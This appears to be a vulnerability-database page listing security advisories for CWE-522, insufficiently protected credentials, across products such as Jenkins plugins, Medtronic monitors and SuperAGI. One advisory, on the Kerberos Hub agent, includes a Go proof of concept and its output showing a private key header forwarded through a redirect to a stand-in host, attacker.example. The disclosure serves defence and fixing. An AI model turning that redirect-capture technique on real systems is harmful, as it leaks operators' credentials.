CWE-522
Allowed-with-ReviewInsufficiently Protected Credentials
Abstraction: Class · Status: Incomplete
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
1820 vulnerabilities reference this CWE, most recent first.
GHSA-H3Q3-RM4G-PQJH
Vulnerability from github – Published: 2022-05-24 16:55 – Updated: 2024-04-04 01:49In Knowage through 6.1.1, an authenticated user who accesses the datasources page will gain access to any data source credentials in cleartext, which includes databases.
{
"affected": [],
"aliases": [
"CVE-2019-13348"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-28T16:15:00Z",
"severity": "HIGH"
},
"details": "In Knowage through 6.1.1, an authenticated user who accesses the datasources page will gain access to any data source credentials in cleartext, which includes databases.",
"id": "GHSA-h3q3-rm4g-pqjh",
"modified": "2024-04-04T01:49:54Z",
"published": "2022-05-24T16:55:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13348"
},
{
"type": "WEB",
"url": "https://blog.contentsecurity.com.au/knowage-password-disclosure"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H42X-QCJR-3WW7
Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2026-05-19 18:32A vulnerability was discovered in all versions of Medtronic MyCareLink 24950 and 24952 Patient Monitor. The affected products use per-product credentials that are stored in a recoverable format. An attacker can use these credentials for network authentication and encryption of local data at rest.
{
"affected": [],
"aliases": [
"CVE-2018-10622"
],
"database_specific": {
"cwe_ids": [
"CWE-257",
"CWE-313",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-10T18:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability was discovered in all versions of Medtronic MyCareLink 24950 and 24952 Patient Monitor. The affected products use per-product credentials that are stored in a recoverable format. An attacker can use these credentials for network authentication and encryption of local data at rest.",
"id": "GHSA-h42x-qcjr-3ww7",
"modified": "2026-05-19T18:32:01Z",
"published": "2022-05-13T01:34:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10622"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2018/icsma-18-219-01.json"
},
{
"type": "WEB",
"url": "https://global.medtronic.com/xg-en/product-security/security-bulletins/mycarelink-8-7-18.html"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSMA-18-219-01"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-18-219-01"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/105042"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:P/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H44Q-VVXG-Q9WR
Vulnerability from github – Published: 2023-02-23 00:30 – Updated: 2023-03-03 03:30Aztech WMB250AC Mesh Routers Firmware Version 016 2020 is vulnerable to PHP Type Juggling in file /var/www/login.php, allows attackers to gain escalated privileges only when specific conditions regarding a given accounts hashed password.
{
"affected": [],
"aliases": [
"CVE-2022-45599"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-22T22:15:00Z",
"severity": "CRITICAL"
},
"details": "Aztech WMB250AC Mesh Routers Firmware Version 016 2020 is vulnerable to PHP Type Juggling in file /var/www/login.php, allows attackers to gain escalated privileges only when specific conditions regarding a given accounts hashed password.",
"id": "GHSA-h44q-vvxg-q9wr",
"modified": "2023-03-03T03:30:24Z",
"published": "2023-02-23T00:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45599"
},
{
"type": "WEB",
"url": "https://github.com/ethancunt/CVE-2022-45599"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H459-7MRX-8PVC
Vulnerability from github – Published: 2022-05-17 19:57 – Updated: 2024-04-03 23:59rubygem-hammer_cli_foreman: File /etc/hammer/cli.modules.d/foreman.yml world readable
{
"affected": [],
"aliases": [
"CVE-2014-0241"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-12-13T13:15:00Z",
"severity": "MODERATE"
},
"details": "rubygem-hammer_cli_foreman: File /etc/hammer/cli.modules.d/foreman.yml world readable",
"id": "GHSA-h459-7mrx-8pvc",
"modified": "2024-04-03T23:59:40Z",
"published": "2022-05-17T19:57:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0241"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/cve-2014-0241"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2014-0241"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H4X7-365Q-3RM3
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32In version 0.0.14 of transformeroptimus/superagi, the API endpoint /api/users/get/{id} returns the user's password in plaintext. This vulnerability allows an attacker to retrieve the password of another user, leading to potential account takeover.
{
"affected": [],
"aliases": [
"CVE-2024-9418"
],
"database_specific": {
"cwe_ids": [
"CWE-256",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-20T10:15:48Z",
"severity": "MODERATE"
},
"details": "In version 0.0.14 of transformeroptimus/superagi, the API endpoint `/api/users/get/{id}` returns the user\u0027s password in plaintext. This vulnerability allows an attacker to retrieve the password of another user, leading to potential account takeover.",
"id": "GHSA-h4x7-365q-3rm3",
"modified": "2025-03-20T12:32:51Z",
"published": "2025-03-20T12:32:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9418"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/9a8118a2-ea32-41f5-b501-fef4f31d8213"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H5C5-MMGX-53H5
Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03In Versa Director, Versa Analytics and VOS, Passwords are not hashed using an adaptive cryptographic hash function or key derivation function prior to storage. Popular hashing algorithms based on the Merkle-Damgardconstruction (such as MD5 and SHA-1) alone are insufficient in thwarting password cracking. Attackers can generate and use precomputed hashes for all possible password character combinations (commonly referred to as "rainbow tables") relatively quickly. The use of adaptive hashing algorithms such asscryptorbcryptor Key-Derivation Functions (i.e.PBKDF2) to hash passwords make generation of such rainbow tables computationally infeasible.
{
"affected": [],
"aliases": [
"CVE-2019-25030"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-26T19:15:00Z",
"severity": "MODERATE"
},
"details": "In Versa Director, Versa Analytics and VOS, Passwords are not hashed using an adaptive cryptographic hash function or key derivation function prior to storage. Popular hashing algorithms based on the Merkle-Damgardconstruction (such as MD5 and SHA-1) alone are insufficient in thwarting password cracking. Attackers can generate and use precomputed hashes for all possible password character combinations (commonly referred to as \"rainbow tables\") relatively quickly. The use of adaptive hashing algorithms such asscryptorbcryptor Key-Derivation Functions (i.e.PBKDF2) to hash passwords make generation of such rainbow tables computationally infeasible.",
"id": "GHSA-h5c5-mmgx-53h5",
"modified": "2022-05-24T19:03:18Z",
"published": "2022-05-24T19:03:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25030"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1168197"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H5G3-V72X-HC6F
Vulnerability from github – Published: 2022-07-01 00:01 – Updated: 2022-12-09 04:52Jenkins Jigomerge Plugin 0.9 and earlier stores passwords unencrypted in job config.xml files on the Jenkins controller where they can be viewed by users with Extended Read permission, or access to the Jenkins controller file system.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:jigomerge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-34806"
],
"database_specific": {
"cwe_ids": [
"CWE-256",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-13T15:41:52Z",
"nvd_published_at": "2022-06-30T18:15:00Z",
"severity": "LOW"
},
"details": "Jenkins Jigomerge Plugin 0.9 and earlier stores passwords unencrypted in job `config.xml` files on the Jenkins controller where they can be viewed by users with Extended Read permission, or access to the Jenkins controller file system.",
"id": "GHSA-h5g3-v72x-hc6f",
"modified": "2022-12-09T04:52:55Z",
"published": "2022-07-01T00:01:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34806"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/jigomerge-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-06-30/#SECURITY-2083"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Plaintext Storage of a Password in Jenkins Jigomerge Plugin"
}
GHSA-H5GX-45RJ-2H5J
Vulnerability from github – Published: 2026-07-02 17:33 – Updated: 2026-07-02 17:33Summary
The Kerberos Hub upload path sends the agent's Hub credentials in the custom X-Kerberos-Hub-PrivateKey and X-Kerberos-Hub-PublicKey request headers to the operator-configured Hub URL (config.HubURI). The HTTP client used (&http.Client{} in UploadKerberosHub) is constructed without a CheckRedirect policy, so it follows HTTP redirects automatically. Go's net/http strips only sensitive headers (Authorization, Cookie, WWW-Authenticate) on a cross-host redirect; it does not strip custom headers such as X-Kerberos-Hub-PrivateKey. As a result, if the configured HubURI returns a cross-host 30x redirect, the Hub private key is forwarded verbatim to the redirect target, disclosing the credential to an unintended third party (CWE-200 / CWE-522).
Impact
The Kerberos Hub private key (a long-lived secret authenticating the agent to Kerberos Hub) is leaked to an attacker-controlled host whenever the configured HubURI issues a cross-origin redirect. HubURI is operator configuration (models.Config.HubURI, JSON hub_uri); an open redirect on that host, a compromised/hijacked Hub deployment, a DNS/BGP hijack, or a malicious URL supplied in the agent config causes the secret to be exfiltrated. The leaked private key (together with the public key, which is forwarded in the same request) grants the attacker the agent's access to Kerberos Hub, including the ability to upload/impersonate the device.
Vulnerable code (file:line)
machinery/src/cloud/kerberos_hub.go — the custom auth headers are set on a request to the operator-configurable config.HubURI, and the client follows redirects (no CheckRedirect):
// Check if we are allowed to upload to the hub with these credentials.
// There might be different reasons like (muted, read-only..)
req, err := http.NewRequest("HEAD", config.HubURI+"/storage/upload", nil)
if err != nil {
errorMessage := "UploadKerberosHub: error reading HEAD request, " + config.HubURI + "/storage: " + err.Error()
log.Log.Error(errorMessage)
return false, true, errors.New(errorMessage)
}
req.Header.Set("X-Kerberos-Storage-FileName", fileName)
req.Header.Set("X-Kerberos-Storage-Capture", "IPCamera")
req.Header.Set("X-Kerberos-Storage-Device", config.Key)
req.Header.Set("X-Kerberos-Hub-PublicKey", config.HubKey)
req.Header.Set("X-Kerberos-Hub-PrivateKey", config.HubPrivateKey) // line 63
req.Header.Set("X-Kerberos-Hub-Region", config.S3.Region)
var client *http.Client
if os.Getenv("AGENT_TLS_INSECURE") == "true" {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client = &http.Client{Transport: tr}
} else {
client = &http.Client{} // line 73 — no CheckRedirect
}
resp, err := client.Do(req)
HubURI is operator configuration:
HubURI string `json:"hub_uri" bson:"hub_uri"`
Attack scenario
- An operator configures the agent with a
hub_uri. - That host (or a host reachable from it via redirect) responds to
/storage/uploadwith302 Foundtohttps://attacker.example/.... client.Do(req)follows the redirect and re-sends the request, includingX-Kerberos-Hub-PrivateKeyandX-Kerberos-Hub-PublicKey, toattacker.example.- The attacker captures the Hub credentials.
Proof of concept
Driver built against the verbatim pinned kerberos_hub.go from v3.6.25. The exported cloud.UploadKerberosHub is invoked. Two hostnames resolve to local test servers so net/http treats the 302 as a genuine cross-host redirect.
package main
import (
"context"
"fmt"
"net"
"net/http"
"net/http/httptest"
"os"
"strings"
"sync"
"github.com/kerberos-io/agent/machinery/src/cloud"
"github.com/kerberos-io/agent/machinery/src/models"
)
func installResolver(mapping map[string]string) {
tr := http.DefaultTransport.(*http.Transport).Clone()
tr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) {
host, _, _ := net.SplitHostPort(addr)
if target, ok := mapping[host]; ok {
addr = target
}
return (&net.Dialer{}).DialContext(ctx, network, addr)
}
http.DefaultTransport = tr
}
func main() {
var mu sync.Mutex
var sawPriv, sawPub string
attacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
mu.Lock()
sawPriv = r.Header.Get("X-Kerberos-Hub-PrivateKey")
sawPub = r.Header.Get("X-Kerberos-Hub-PublicKey")
mu.Unlock()
fmt.Printf("[attacker host %s] received %s %s\n", r.Host, r.Method, r.URL.Path)
fmt.Printf("[attacker host %s] X-Kerberos-Hub-PrivateKey = %q\n", r.Host, r.Header.Get("X-Kerberos-Hub-PrivateKey"))
w.WriteHeader(200)
}))
defer attacker.Close()
legit := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Printf("[legit host %s] received %s %s -> 302 to attacker.example\n", r.Host, r.Method, r.URL.Path)
http.Redirect(w, r, "http://attacker.example"+r.URL.Path, http.StatusFound)
}))
defer legit.Close()
installResolver(map[string]string{
"legit.example": strings.TrimPrefix(legit.URL, "http://"),
"attacker.example": strings.TrimPrefix(attacker.URL, "http://"),
})
os.MkdirAll("data/recordings", 0o755)
os.WriteFile("data/recordings/clip.mp4", []byte("FAKEMP4DATA"), 0o644)
cfg := &models.Configuration{
Config: models.Config{
HubURI: "http://legit.example", // operator-configurable base URL
HubKey: "PUBLIC-KEY-12345",
HubPrivateKey: "SECRET-PRIVATE-KEY-DO-NOT-LEAK",
Key: "device-key",
},
}
cfg.Config.S3.Region = "us-east-1"
_, _, _ = cloud.UploadKerberosHub(cfg, "clip.mp4")
mu.Lock()
defer mu.Unlock()
fmt.Printf("attacker host saw X-Kerberos-Hub-PrivateKey = %q\n", sawPriv)
fmt.Printf("attacker host saw X-Kerberos-Hub-PublicKey = %q\n", sawPub)
}
End-to-end reproduction
Pinned to github.com/kerberos-io/agent/machinery@v3.6.25. Verbatim kerberos_hub.go from that tag. Captured stdout:
legit (operator-configured) HubURI = http://legit.example (-> 127.0.0.1)
attacker host (cross-origin) = http://attacker.example (-> 127.0.0.1)
calling cloud.UploadKerberosHub then client.Do
[INFO] UploadKerberosHub: Uploading to Kerberos Hub (http://legit.example)
[INFO] UploadKerberosHub: Upload started for clip.mp4
[legit host legit.example] received HEAD /storage/upload -> 302 to attacker.example
[attacker host attacker.example] received HEAD /storage/upload
[attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK"
[attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345"
[INFO] UploadKerberosHub: Upload allowed using the credentials provided (PUBLIC-KEY-12345, SECRET-PRIVATE-KEY-DO-NOT-LEAK)
[legit host legit.example] received POST /storage/upload -> 302 to attacker.example
[attacker host attacker.example] received GET /storage/upload
[attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK"
[attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345"
[INFO] UploadKerberosHub: Upload Finished, 200 OK.
----- RESULT -----
attacker host saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK"
attacker host saw X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345"
LEAK CONFIRMED: hub private key forwarded to cross-origin redirect target
----- NEGATIVE CONTROL (same bare &http.Client{}, legit.example -> attacker.example) -----
attacker saw Authorization = "" (stdlib strips standard auth header cross-host)
attacker saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" (custom header NOT stripped -> the bug)
The negative control on the same bare client and same cross-host redirect shows the standard Authorization header is stripped by net/http, while the custom X-Kerberos-Hub-PrivateKey is forwarded — confirming the leak is specific to the custom-named auth header.
Suggested fix
Set a CheckRedirect policy on the client used in UploadKerberosHub (and the other Hub helpers in this file) that strips the X-Kerberos-Hub-PrivateKey / X-Kerberos-Hub-PublicKey headers (and any other custom auth headers) when the redirect target host differs from the original request host:
checkRedirect := func(req *http.Request, via []*http.Request) error {
if len(via) > 0 && req.URL.Host != via[0].URL.Host {
req.Header.Del("X-Kerberos-Hub-PrivateKey")
req.Header.Del("X-Kerberos-Hub-PublicKey")
}
return nil
}
client = &http.Client{CheckRedirect: checkRedirect}
A regression test should assert that after a cross-host redirect the X-Kerberos-Hub-PrivateKey header is absent at the final host, and that same-host redirects still carry it.
Fix PR
A fix PR implementing the CheckRedirect strip plus a cross-host regression test is provided to the maintainer through the advisory's private temporary fork.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kerberos-io/agent/machinery"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260528173546-51f1a52e170f"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50192"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T17:33:36Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe Kerberos Hub upload path sends the agent\u0027s Hub credentials in the custom `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey` request headers to the operator-configured Hub URL (`config.HubURI`). The HTTP client used (`\u0026http.Client{}` in `UploadKerberosHub`) is constructed without a `CheckRedirect` policy, so it follows HTTP redirects automatically. Go\u0027s `net/http` strips only sensitive headers (`Authorization`, `Cookie`, `WWW-Authenticate`) on a cross-host redirect; it does **not** strip custom headers such as `X-Kerberos-Hub-PrivateKey`. As a result, if the configured `HubURI` returns a cross-host 30x redirect, the Hub private key is forwarded verbatim to the redirect target, disclosing the credential to an unintended third party (CWE-200 / CWE-522).\n\n### Impact\n\nThe Kerberos Hub private key (a long-lived secret authenticating the agent to Kerberos Hub) is leaked to an attacker-controlled host whenever the configured `HubURI` issues a cross-origin redirect. `HubURI` is operator configuration (`models.Config.HubURI`, JSON `hub_uri`); an open redirect on that host, a compromised/hijacked Hub deployment, a DNS/BGP hijack, or a malicious URL supplied in the agent config causes the secret to be exfiltrated. The leaked private key (together with the public key, which is forwarded in the same request) grants the attacker the agent\u0027s access to Kerberos Hub, including the ability to upload/impersonate the device.\n\n### Vulnerable code (file:line)\n\n`machinery/src/cloud/kerberos_hub.go` \u2014 the custom auth headers are set on a request to the operator-configurable `config.HubURI`, and the client follows redirects (no `CheckRedirect`):\n\n```go\n\t// Check if we are allowed to upload to the hub with these credentials.\n\t// There might be different reasons like (muted, read-only..)\n\treq, err := http.NewRequest(\"HEAD\", config.HubURI+\"/storage/upload\", nil)\n\tif err != nil {\n\t\terrorMessage := \"UploadKerberosHub: error reading HEAD request, \" + config.HubURI + \"/storage: \" + err.Error()\n\t\tlog.Log.Error(errorMessage)\n\t\treturn false, true, errors.New(errorMessage)\n\t}\n\n\treq.Header.Set(\"X-Kerberos-Storage-FileName\", fileName)\n\treq.Header.Set(\"X-Kerberos-Storage-Capture\", \"IPCamera\")\n\treq.Header.Set(\"X-Kerberos-Storage-Device\", config.Key)\n\treq.Header.Set(\"X-Kerberos-Hub-PublicKey\", config.HubKey)\n\treq.Header.Set(\"X-Kerberos-Hub-PrivateKey\", config.HubPrivateKey) // line 63\n\treq.Header.Set(\"X-Kerberos-Hub-Region\", config.S3.Region)\n\n\tvar client *http.Client\n\tif os.Getenv(\"AGENT_TLS_INSECURE\") == \"true\" {\n\t\ttr := \u0026http.Transport{\n\t\t\tTLSClientConfig: \u0026tls.Config{InsecureSkipVerify: true},\n\t\t}\n\t\tclient = \u0026http.Client{Transport: tr}\n\t} else {\n\t\tclient = \u0026http.Client{} // line 73 \u2014 no CheckRedirect\n\t}\n\n\tresp, err := client.Do(req)\n```\n\n`HubURI` is operator configuration:\n\n```go\nHubURI string `json:\"hub_uri\" bson:\"hub_uri\"`\n```\n\n### Attack scenario\n\n1. An operator configures the agent with a `hub_uri`.\n2. That host (or a host reachable from it via redirect) responds to `/storage/upload` with `302 Found` to `https://attacker.example/...`.\n3. `client.Do(req)` follows the redirect and re-sends the request, including `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey`, to `attacker.example`.\n4. The attacker captures the Hub credentials.\n\n### Proof of concept\n\nDriver built against the verbatim pinned `kerberos_hub.go` from v3.6.25. The exported `cloud.UploadKerberosHub` is invoked. Two hostnames resolve to local test servers so `net/http` treats the 302 as a genuine cross-host redirect.\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/kerberos-io/agent/machinery/src/cloud\"\n\t\"github.com/kerberos-io/agent/machinery/src/models\"\n)\n\nfunc installResolver(mapping map[string]string) {\n\ttr := http.DefaultTransport.(*http.Transport).Clone()\n\ttr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) {\n\t\thost, _, _ := net.SplitHostPort(addr)\n\t\tif target, ok := mapping[host]; ok {\n\t\t\taddr = target\n\t\t}\n\t\treturn (\u0026net.Dialer{}).DialContext(ctx, network, addr)\n\t}\n\thttp.DefaultTransport = tr\n}\n\nfunc main() {\n\tvar mu sync.Mutex\n\tvar sawPriv, sawPub string\n\tattacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tmu.Lock()\n\t\tsawPriv = r.Header.Get(\"X-Kerberos-Hub-PrivateKey\")\n\t\tsawPub = r.Header.Get(\"X-Kerberos-Hub-PublicKey\")\n\t\tmu.Unlock()\n\t\tfmt.Printf(\"[attacker host %s] received %s %s\\n\", r.Host, r.Method, r.URL.Path)\n\t\tfmt.Printf(\"[attacker host %s] X-Kerberos-Hub-PrivateKey = %q\\n\", r.Host, r.Header.Get(\"X-Kerberos-Hub-PrivateKey\"))\n\t\tw.WriteHeader(200)\n\t}))\n\tdefer attacker.Close()\n\n\tlegit := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tfmt.Printf(\"[legit host %s] received %s %s -\u003e 302 to attacker.example\\n\", r.Host, r.Method, r.URL.Path)\n\t\thttp.Redirect(w, r, \"http://attacker.example\"+r.URL.Path, http.StatusFound)\n\t}))\n\tdefer legit.Close()\n\n\tinstallResolver(map[string]string{\n\t\t\"legit.example\": strings.TrimPrefix(legit.URL, \"http://\"),\n\t\t\"attacker.example\": strings.TrimPrefix(attacker.URL, \"http://\"),\n\t})\n\n\tos.MkdirAll(\"data/recordings\", 0o755)\n\tos.WriteFile(\"data/recordings/clip.mp4\", []byte(\"FAKEMP4DATA\"), 0o644)\n\n\tcfg := \u0026models.Configuration{\n\t\tConfig: models.Config{\n\t\t\tHubURI: \"http://legit.example\", // operator-configurable base URL\n\t\t\tHubKey: \"PUBLIC-KEY-12345\",\n\t\t\tHubPrivateKey: \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\",\n\t\t\tKey: \"device-key\",\n\t\t},\n\t}\n\tcfg.Config.S3.Region = \"us-east-1\"\n\t_, _, _ = cloud.UploadKerberosHub(cfg, \"clip.mp4\")\n\n\tmu.Lock()\n\tdefer mu.Unlock()\n\tfmt.Printf(\"attacker host saw X-Kerberos-Hub-PrivateKey = %q\\n\", sawPriv)\n\tfmt.Printf(\"attacker host saw X-Kerberos-Hub-PublicKey = %q\\n\", sawPub)\n}\n```\n\n### End-to-end reproduction\n\nPinned to `github.com/kerberos-io/agent/machinery@v3.6.25`. Verbatim `kerberos_hub.go` from that tag. Captured stdout:\n\n```\nlegit (operator-configured) HubURI = http://legit.example (-\u003e 127.0.0.1)\nattacker host (cross-origin) = http://attacker.example (-\u003e 127.0.0.1)\ncalling cloud.UploadKerberosHub then client.Do\n[INFO] UploadKerberosHub: Uploading to Kerberos Hub (http://legit.example)\n[INFO] UploadKerberosHub: Upload started for clip.mp4\n[legit host legit.example] received HEAD /storage/upload -\u003e 302 to attacker.example\n[attacker host attacker.example] received HEAD /storage/upload\n[attacker host attacker.example] X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\"\n[attacker host attacker.example] X-Kerberos-Hub-PublicKey = \"PUBLIC-KEY-12345\"\n[INFO] UploadKerberosHub: Upload allowed using the credentials provided (PUBLIC-KEY-12345, SECRET-PRIVATE-KEY-DO-NOT-LEAK)\n[legit host legit.example] received POST /storage/upload -\u003e 302 to attacker.example\n[attacker host attacker.example] received GET /storage/upload\n[attacker host attacker.example] X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\"\n[attacker host attacker.example] X-Kerberos-Hub-PublicKey = \"PUBLIC-KEY-12345\"\n[INFO] UploadKerberosHub: Upload Finished, 200 OK.\n----- RESULT -----\nattacker host saw X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\"\nattacker host saw X-Kerberos-Hub-PublicKey = \"PUBLIC-KEY-12345\"\nLEAK CONFIRMED: hub private key forwarded to cross-origin redirect target\n----- NEGATIVE CONTROL (same bare \u0026http.Client{}, legit.example -\u003e attacker.example) -----\nattacker saw Authorization = \"\" (stdlib strips standard auth header cross-host)\nattacker saw X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\" (custom header NOT stripped -\u003e the bug)\n```\n\nThe negative control on the same bare client and same cross-host redirect shows the standard `Authorization` header is stripped by `net/http`, while the custom `X-Kerberos-Hub-PrivateKey` is forwarded \u2014 confirming the leak is specific to the custom-named auth header.\n\n### Suggested fix\n\nSet a `CheckRedirect` policy on the client used in `UploadKerberosHub` (and the other Hub helpers in this file) that strips the `X-Kerberos-Hub-PrivateKey` / `X-Kerberos-Hub-PublicKey` headers (and any other custom auth headers) when the redirect target host differs from the original request host:\n\n```go\ncheckRedirect := func(req *http.Request, via []*http.Request) error {\n\tif len(via) \u003e 0 \u0026\u0026 req.URL.Host != via[0].URL.Host {\n\t\treq.Header.Del(\"X-Kerberos-Hub-PrivateKey\")\n\t\treq.Header.Del(\"X-Kerberos-Hub-PublicKey\")\n\t}\n\treturn nil\n}\nclient = \u0026http.Client{CheckRedirect: checkRedirect}\n```\n\nA regression test should assert that after a cross-host redirect the `X-Kerberos-Hub-PrivateKey` header is absent at the final host, and that same-host redirects still carry it.\n\n### Fix PR\n\nA fix PR implementing the `CheckRedirect` strip plus a cross-host regression test is provided to the maintainer through the advisory\u0027s private temporary fork.\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-h5gx-45rj-2h5j",
"modified": "2026-07-02T17:33:36Z",
"published": "2026-07-02T17:33:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kerberos-io/agent/security/advisories/GHSA-h5gx-45rj-2h5j"
},
{
"type": "WEB",
"url": "https://github.com/kerberos-io/agent/commit/51f1a52e170f21c1264c6de1dc781d5b5e2a5d09"
},
{
"type": "PACKAGE",
"url": "https://github.com/kerberos-io/agent"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Kerberos Hub private key (X-Kerberos-Hub-PrivateKey) leaked to cross-host redirect target due to redirect-following HTTP client without CheckRedirect"
}
GHSA-H5H5-M2MC-J2PV
Vulnerability from github – Published: 2022-07-01 00:01 – Updated: 2022-12-09 04:51Jenkins Elasticsearch Query Plugin 1.2 and earlier stores a password unencrypted in its global configuration file org.jenkinsci.plugins.elasticsearchquery.ElasticsearchQueryBuilder.xml on the Jenkins controller where it can be viewed by users with access to the Jenkins controller file system.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:elasticsearch-query"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-34807"
],
"database_specific": {
"cwe_ids": [
"CWE-256",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-12T18:19:07Z",
"nvd_published_at": "2022-06-30T18:15:00Z",
"severity": "LOW"
},
